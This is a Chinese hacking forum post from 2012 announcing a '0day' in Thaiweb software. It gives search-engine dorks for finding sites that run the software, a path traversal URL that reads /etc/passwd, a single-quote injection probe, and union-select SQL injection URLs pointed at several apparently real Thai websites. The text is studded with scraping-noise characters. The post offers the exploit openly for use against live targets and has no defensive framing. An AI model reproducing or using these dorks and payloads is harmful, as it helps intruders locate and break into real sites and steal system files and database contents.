找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2361|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:9 k# P. Z3 B6 W  v( g& K; k: e

$ O; y7 b% I' T( x7 V$ sintext:powered by Thaiweb
- Z, f4 b3 W1 o+ q- T1 w% i! F/ I; w+ M5 V8 N
inurl:index.php?page=board.php: Z: J0 w; }8 l: |' U

7 P6 N0 y& q' }1 w7 `7 ^/ v- [ ! B6 a( V! ]1 u# d) X0 p, `. |! K
+ X& }" O5 {, ^* i5 _! v4 J# h
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd6 j! A+ R, Y4 q* l
" ~! ~/ A1 a/ g3 r! x
( v6 }7 F+ c/ K
# {* Q( t% Z) {2 G, s
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
0 a8 T1 {+ i- ~( h: p
2 Z! Y/ M+ s( a- u" U( J
4 e4 |' t" G+ y* m) F1 e! l5 d# p8 L2 e2 w
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--8 @" Q( C: y7 m6 l6 l- d8 |
: e% Z& Y6 |" @% q
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--+ L1 V( Q' H+ R

2 i0 t; t8 }4 }8 zhttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
( ^/ k* v0 Q2 [$ S; e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表